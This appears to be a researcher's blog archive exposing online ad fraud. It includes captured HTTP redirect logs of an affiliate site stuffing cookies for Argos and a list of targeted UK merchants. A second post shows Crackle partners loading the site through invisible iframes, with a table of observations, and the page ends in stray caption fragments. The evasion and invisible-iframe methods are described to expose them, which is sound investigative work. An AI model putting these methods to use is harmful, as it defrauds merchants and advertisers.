GET /click-3910892-5590799 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateHost: www.tkqlhce.comConnection: Keep-AliveHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.tkqlhce.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:02 GMTLocation: http://www.apmebf.com/oq68y1A9S/18D/VVZQXZZ/TZRQYZS/Q/Q/Q?i=y<<7JJF%3A%2F%2FMMM.JAGB724.2EC%3AYQ%2F2B82A-TZRQYZS-VVZQXZZ<<g<7JJF%3A%2F%2FMMM.4I7EFWQQ.2E.KA%2F38I2EKDJ-LEK274H-2E34I.7JCB<Content-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:01 GMT---GET /oq68y1A9S/18D/VVZQXZZ/TZRQYZS/Q/Q/Q?i=y<<7JJF%3A%2F%2FMMM.JAGB724.2EC%3AYQ%2F2B82A-TZRQYZS-VVZQXZZ<<g<7JJF%3A%2F%2FMMM.4I7EFWQQ.2E.KA%2F38I2EKDJ-LEK274H-2E34I.7JCB< HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: www.apmebf.comHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.apmebf.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:07 GMTLocation: http://www.kdukvh.com/rb101ox54P/x38/QQULSUU/OUMLTUN/L/MADTPECKMRPTMTONUQKMONSTTOMRSQQPKSL/LLTzyMTvPvyUMMzMTLNvLLNOvz--MQxN?u=x<dkp!j8bl-u5it4xtn<iuuq%3A%2F%2Fxxx.ulrmidf.dpn%3A91%2Fdmjdl-4A219A3-66A18AA<<H<iuuq%3A%2F%2Fxxx.ftipq711.dp.vl%2Fejtdpvou-wpvdifs-dpeft.iunm<Set-Cookie: S=1qt84us-1648183295-1327883167554-70; domain=.apmebf.com; path=/; expires=Sat, 28-Jan-2017 00:26:07 GMTSet-Cookie: LCLK=cjo!i7ak-t4hs3wsm; domain=.apmebf.com; path=/; expires=Sat, 28-Jan-2017 00:26:07 GMTContent-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:07 GMT---GET /rb101ox54P/x38/QQULSUU/OUMLTUN/L/MADTPECKMRPTMTONUQKMONSTTOMRSQQPKSL/LLTzyMTvPvyUMMzMTLNvLLNOvz--MQxN?u=x<dkp!j8bl-u5it4xtn<iuuq%3A%2F%2Fxxx.ulrmidf.dpn%3A91%2Fdmjdl-4A219A3-66A18AA<<H<iuuq%3A%2F%2Fxxx.ftipq711.dp.vl%2Fejtdpvou-wpvdifs-dpeft.iunm< HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: www.kdukvh.comHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.kdukvh.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:18 GMTLocation: http://www.argos.co.uk/webapp/wcs/stores/servlet/ArgosCreateReferral?storeId=10001&referrer=COJUN&cmpid=COJUN&referredURL=&_%24ja=tsid%3A11674%7Cprd%3A3910892Set-Cookie: LCLK=cjo!i7ak-t4hs3wsm; domain=.kdukvh.com; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTSet-Cookie: S=1qt84us-1648183295-1327883167554-70; domain=.kdukvh.com; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTSet-Cookie: PBLP=849260:3910892:1327883178648:cjo; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTContent-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:18 GMT
Of course www.argos.co.uk is just one of dozens of merchants affected. Below are 26 merchants we’ve found targeted by Eshop600, including merchants using affiliate networks Affiliate Window (AW), Commission Junction (CJ), TradeDoubler (TD), and Perfiliate (now owned by Affiliate Window).
direct.asda.com (AW)
www.britishairways.com (AW)
www.dorothyperkins.com (AW)
www.screwfix.com (AW)
groceries.asda.com (Perfiliate)
www.burton.co.uk (AW)
www.evans.co.uk (AW)
www.sky.com (AW)
phone-shop.tesco.com (TD)
www.comet.co.uk (AW)
www.halfords.com (AW)
www.tesco.com (TD)
store.three.co.uk (Perfiliate)
www.currys.co.uk (AW)
www.hsamuel.co.uk (AW)
www.vodafone.co.uk (AW)
www.annsummers.com (AW)
www.debenhams.com (AW)
www.johnlewis.com (AW)
www.wilkinsonplus.com (AW)
www.argos.co.uk (CJ)
www.dixons.co.uk (AW)
www.missselfridge.com (AW)
www.asda.co.uk (Perfiliate)
www.diy.com (AW)
www.pcworld.co.uk (AW)
Beyond encoded JavaScript, Eshop600 also tried other methods to avoid detection. Load an Eshop600 page repeatedly, and it won’t stuff cookies every time; the site is clearly attempting to recognize repeat visitors to avoid restuffing the same users more than once. That makes Eshop600’s practice harder to replicate (an extra challenge for anyone trying to prove an infraction) and helps reduce telltale signs in merchants’ logs.
On one view, these practices are nothing new: Ben has been writing these up since 2004. But affiliate merchants and networks need to remain vigilant to catch these cheaters. We’re finding many dozens of affiliate cookie-stuffers per month, along with other rogue affiliates using spyware/adware, typosquatting, and more. It’s not unusual for cheaters to be among a merchants’ largest affiliates; for example, the 2010 indictment of Shawn Hogan alleges that he was the single largest affiliate in eBay’s affiliate program in 2006-2007, collecting more than $15 million over 18 months. Now, most affiliate programs are far smaller than eBay’s, yielding a correspondingly lower opportunity for fraud. But for mid-sized merchants, there are typically large savings in catching and ejecting all rule-breakers.
Display advertising marketplaces place “banner” ads on all manner of popular sites. While these services are widely used, they suffer significant challenges, including weak user response and low accountability for both advertisers and web site publishers. I survey a few major challenges, flagging possible areas for future research.
Advertisers buying display ads from Sony’s Crackle.com rightly and reasonably expect that users can see the ads. After all, a visible ad is a basic and crucial condition for effective display advertising: If a user can’t see ad, then the impression is wasted, as is the associated spending. Nonetheless, in a surprising series of incidents, numerous Crackle partners are loading the Crackle site invisibly — thereby overcharging advertisers for worthless invisible impressions.
Below, I present three recent examples of Crackle partners loading the Crackle site invisibly, largely via 1×1 IFRAMEs. I then tabulate observations preserved by my automation, demonstrating that Crackle’s tainted traffic has continued for more than a year. I conclude by flagging implications for traffic measurement and ad pricing, and by suggesting what Crackle should do to clean up this mess.
Example 1: Yahoo Right Media, Adjuggler Invisible (1×1) IFRAME Loads Crackle Invisibly
In testing of April 24, 2010, my Automatic Spyware Advertising Tester browsed a series of ad URLs I had previously observed to be loaded by various spyware (installed through security exploits without user consent). One such URL embedded Bcserving tags for a 160×600 IFRAME, which passed traffic through Yahoo Right Media (yellow) to Adjuggler (green). Crucially, Adjuggler responded with an invisible 1×1 IFRAME (red) loading a URL on the Crackle site (blue). Meanwhile, another 1×1 IFRAME loaded competing video site Buddytv (grey).
The net effect was to load the Crackle site completely invisibly. The page-load also embedded tracking tags for comScore/ScorecardResearch (yellow). Unless comScore takes special steps to recognize and discount these invisible loads of the Crackle site, the presence of these tags would cause comScore services to overstate Crackle’s popularity.
Example 2: Yahoo Right Media, Adjuggler, Media Javelin Overflowing IFRAME (1280×800 inside 160×600) Loads Crackle Invisibly
In testing of April 14, 2010, my tester browsed another publisher passing traffic through Yahoo Right Media (yellow) to an ad on Adjuggler (green) with a HTML comment referencing Media Javelin (pink). The placement was purportedly a 160×600 (grey), yet the response included a further 160×600 ad (completely filling the available space) (grey) followed by three 1280×800 IFRAMEs (red). The third of these IFRAMEs passed traffic to an Adspeed URL (orange) which passed traffic to Crackle (blue).
The net effect was to load the Crackle site completely invisibly. Here too, the Crackle site returned comScore and ScorecardResearch tags as detailed in example 1.
Example 3: Yahoo Right Media, Extreme-sportsonline, Hotbizguide Double Invisible (1×1) IFRAMEs Load Crackle Invisibly
In testing of April 13, 2010, my tester browsed another publisher passing traffic through Yahoo Right Media (yellow) to Extreme-sportsonline (green) which included a 1×1 IFRAME (grey) passing traffic to Hotbizguide (pink). Hotbizguide returned two separate 1×1 IFRAMEs (red) loading Crackle (blue)
The net effect was to load the Crackle site completely invisibly, twice. Here too, the Crackle site returned comScore and ScorecardResearch tags as detailed in example 1.
A Long-Term Problem
To confirm the scope of Crackle’s invisible and forced-visit traffic and to evaluate trends over time, I searched logs preserved by my Automatic Spyware Advertising Tester. My tester records the URLs of pages loaded by the spyware-infected virtual computers, but my tester never intentionally visited the Crackle site, nor did my tester ever prompt or provoke traffic to Crackle in any way. So if my tester observes traffic to Crackle, that traffic must have occurred unrequested — invisibly or, at best, through a spyware popup or popunder.
The following table summarizes my tester’s observations of traffic to Crackle:
Month
Number of observations of
traffic to Crackle.com
Q1 2009
15
Q2 2009
57
Q3 2009
95
Q4 2009
31
Q1 2010
51
April 2010 (month to date)
74
Although my testing methods have changed over time (e.g. to test new spyware), my testing intensity has remained constant. I have no specific reason to expect that adjustments to my methods would be more or less effective at uncovering Crackle incidents. I therefore tend to attribute month-to-month changes to changes in the intensity with which Crackle’s partners purchase invisible traffic and other tainted traffic on Crackle’s behalf. In my experience, most traffic-buyers run on-and-off campaigns — buying traffic for a time, then taking a break. If Crackle’s traffic buying followed a similar approach, spikes would be expected.
In any event, invisible and forced-visit traffic to Crackle cannot be written off as a short-term anomaly. Quite the contrary, my tester’s observations confirm that these problems have persisted for many months.
Implications and Next Steps
Advertisers buying placements on Crackle reasonably expect high-quality traffic. For example, the first clause of Crackle’s “About” page boasts that Crackle is owned by Sony, and Sony’s size and wealth provide a level of accountability that smaller video sites cannot offer. Nonetheless, my observations confirm that some placements on Crackle are entirely worthless.
Crackle may blame its tainted and invisible traffic on traffic brokers, affiliates, and other external forces. But traffic-buying inevitably invites exactly these shenanigans. If Crackle intends to buy traffic, it should better vet its partners — including confirming partners’ bona fides, overseeing partners’ specific methods, and developing procedures to hold partners accountable for any shortfalls. I’ve seen no sign of any such efforts. If Crackle can’t buy traffic with the requisite skill, perhaps Crackle would do better by ceasing to buy traffic at all.
Three years ago, I posted How Spyware-Driven Forced Visits Inflate Web Site Traffic Counts, pointing out that cheap spyware and popup traffic can increase measurements of web site popularity. Users at least see those spyware popups, giving some nugget of rationale for resulting traffic figures. But users cannot even see the Crackle site when it is loaded invisibly as detailed above. Nonetheless, invisible site-loads are still likely to inflate measurements of Crackle’s traffic. For example, during the first few days of April 2010, my tester observed rampant fake traffic to Crackle — and Alexa simultaneously reported a major spike in Crackle’s traffic. (See image at right.) Furthermore, with comScore tags embedded in each Crackle impression, comScore systems receive a report each time Crackle’s site is loaded. Indeed, such reports come from a large number of distinct IP addresses — seemingly confirming that the traffic is legitimate. Can comScore successfully recognize and discount invisible loads of the Crackle site? If not, comScore will join Alexa in overstating Crackle’s popularity.
My bottom line? Buying traffic is a dirty business — so many sellers who provide worthless traffic, and so many buyers who use too little care in selecting and assessing the traffic they buy. As it stands, advertisers and networks doing business with Crackle risk paying for ads users cannot see. Plenty of small-time video sites play these games, but it’s disappointing to see a Sony site stoop to that level.
Webcake adware inserts an AT&T ad into the YouTube site without permission from Google.
IAC ad promises “free online television” but actually merely links to material already on the web; promises an “app” but actually provides a search toolbar.
Three years ago, I posted 
![searched for [800 number look up] at Google](/images/iac-jan13/google-lookup_800_numbers-011613.png){kind=link}
